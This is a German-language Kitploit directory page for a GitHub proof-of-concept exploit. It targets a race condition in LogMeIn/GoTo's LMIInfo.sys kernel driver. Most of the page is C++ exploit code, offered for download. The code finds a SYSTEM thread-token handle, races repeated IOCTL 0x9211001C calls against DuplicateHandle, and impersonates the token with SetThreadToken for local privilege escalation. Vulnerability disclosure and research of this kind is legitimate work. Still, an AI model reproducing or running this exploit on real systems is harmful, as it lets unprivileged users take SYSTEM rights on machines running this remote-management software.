Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
LogMeInPoCHandleDup — Exploit für eine Race Condition im Windows-Kernel-Treiber von LogMeIn/GoTo, die SYSTEM-Handles dupliziert und damit Thread-Token-Impersonation sowie lokale Privilegienerweiterung ermöglicht. | Kitploit
Tools/GitHubGitHub/alfarom256/logmeinpochandledup
Privilege EscalationSchwachstellenanalyseExploitationReverse EngineeringBinary-Exploitation
GitHubalfarom256/logmeinpochandledup

LogMeInPoCHandleDup

Exploit für eine Race Condition im Windows-Kernel-Treiber von LogMeIn/GoTo, die SYSTEM-Handles dupliziert und damit Thread-Token-Impersonation sowie lokale Privilegienerweiterung ermöglicht.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
647vor 2 JahrenVon Kitploit geprüft

LogMeIn / GoTo LMIInfo.sys Handle-Duplikation

Zusammenfassung

In dem von LogMeIn / GoTo RMM bereitgestellten Treiber LMIInfo.sys existiert eine Race Condition, durch die ein beliebiger Handle aus dem SYSTEM-Prozess dupliziert werden kann. Der Kern des Problems liegt in der fehlenden Zugriffskontrolle auf das Device-Objekt sowie in der offensichtlich schlechten Entscheidung, vom Benutzer angegebene Handles aus dem Systemprozess zu duplizieren.

Details

IOCTL: 0x9211001C

Eingabepuffer:

root@kitploit:~
// LMI-Common.cpp
typedef struct LMI_INFO {
	DWORD64 qwPid;
	DWORD64 reserved0;
	DWORD64 handleValue;
	DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;

Dispatch:

Dispatch-Tabelle

Anfällige Funktion:

Verwundbare Funktion

Beim Sammeln von Handle-Informationen und der Durchführung von String-Verarbeitung kann der aufrufende Prozess zwischen den Aufrufen von ZwDuplicateObject/ZwClose den duplizierten Handle erneut duplizieren. Bei korrekter Ausführung bleibt der sekundär duplizierte Handle bestehen, nachdem der primär duplizierte Handle geschlossen wurde.

Um den Fehler zuverlässig auszulösen, MÜSSEN alle vom Prozess verwendeten Handles erstellt werden, bevor die Race Condition ausgelöst wird. Der Ziel-Handle wird mithilfe der folgenden Funktion aus dem Systemprozess abgefragt (als Beispiel wird ein Thread-Token verwendet):

root@kitploit:~
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
	HANDLE hHeap = GetProcessHeap();
	LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
	if (!lpBuf) {
		printf("HeapAlloc - %d\n", GetLastError());
		return INVALID_HANDLE_VALUE;
	}
	ULONG ulBytesReturned = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);

	while (status == 0xC0000004) {
		HeapFree(hHeap, 0, lpBuf);
		lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
		if (!lpBuf) {
			printf("HeapAlloc - %d\n", GetLastError());
			return INVALID_HANDLE_VALUE;
		}
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
	}


	if (status) {
		printf("Query for handles failed - %lx\n", status);
		return INVALID_HANDLE_VALUE;
	}

	PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;

	for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
		SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
		if (shtei.UniqueProcessId != 4) {
			continue;
		}
		printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
		if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
			printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
			return (HANDLE)shtei.HandleValue;
		}
	}

	return INVALID_HANDLE_VALUE;
}

Da HANDLE-Werte in Schritten von 4 ansteigen, berechnen wir den Wert des primär duplizierten Handles, indem wir die Anzahl der HANDLEs ermitteln und 4 addieren. Dazu öffnen wir das Gerät und erstellen den „Racing“-Thread in einem angehaltenen Zustand, bevor wir den nächsten Handle-Wert berechnen. Dies könnte wahrscheinlich auf stabilere und „raffiniertere“ Weise bewerkstelligt werden, was dem Leser als Übung überlassen bleibt, der vermutlich versierter ist, lmao.

root@kitploit:~
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
	HANDLE highestHandle = 0;
	UINT32 u32NumHandles = 0;
	ULONG ulSizeReturned = 0;
	NTSTATUS status = 0;
	status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
	if (!NT_SUCCESS(status)) {
		return (HANDLE)-1;
	}

	return (HANDLE)((UINT64)++u32NumHandles * 4);
}

Danach wird der Racing-Thread fortgesetzt und wiederholte IOCTLs werden abgesetzt:

root@kitploit:~
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
	puts("Entered DupeThread");
	if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
		printf("Invalid device handle passed to thread : %lx\n", GetLastError());
		return -1;
	}

	PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;

	DWORD dwBytesReturned = 0;
	LMI_INFO lmii = { 0 };
	lmii.qwPid = 4;
	lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know

	if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
		puts("Couldn't find a token handle in the system process??");
	}

	BOOL bRes = FALSE;
	LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);

	if (!lpOutBuf) {
		printf("HeapAlloc : %lx\n", GetLastError());
		return -1;
	}

	while (Dti->Run) {
		// call DeviceIoControl to start the race
		bRes = DeviceIoControl(
			Dti->hDevice,
			IOCTL_DUPE_LEL,
			&lmii,
			sizeof(LMI_INFO),
			lpOutBuf,
			0x1000,
			&dwBytesReturned,
			NULL
		);
	}	
}

Die Design-Entscheidung für den Racing-Thread beruht auf Folgendem:

  • Ich bin schlecht darin, Race Conditions auszunutzen

Der Hauptthread ruft wiederholt DuplicateHandle auf, um den primär duplizierten Handle zu duplizieren, bis die Duplizierung erfolgreich ist, und die globale boolesche Variable wird auf false gesetzt, um den Racing-Thread zu beenden (ja, ja, ich weiß).

root@kitploit:~
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);

puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
    printf("Error resuming dupe thread - %lx\n", GetLastError());
    return -1;
}

while (!bRes) {
    bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}

dti.Run = FALSE;

if (bRes) {
    puts("ebin");
    printf("%llx - target\n", hTarget);
    printf("%llx - dup\n", hToken);
    bRes = SetThreadToken(NULL, hToken);
    if (!bRes) {
        printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
    }
    else {
        puts("Set the thread token!");
    }
}
else {
    printf("Failed to dupe token: %lx\n", GetLastError());
    return -1;
}

getchar();
return 0;

Video

Tool herunterladen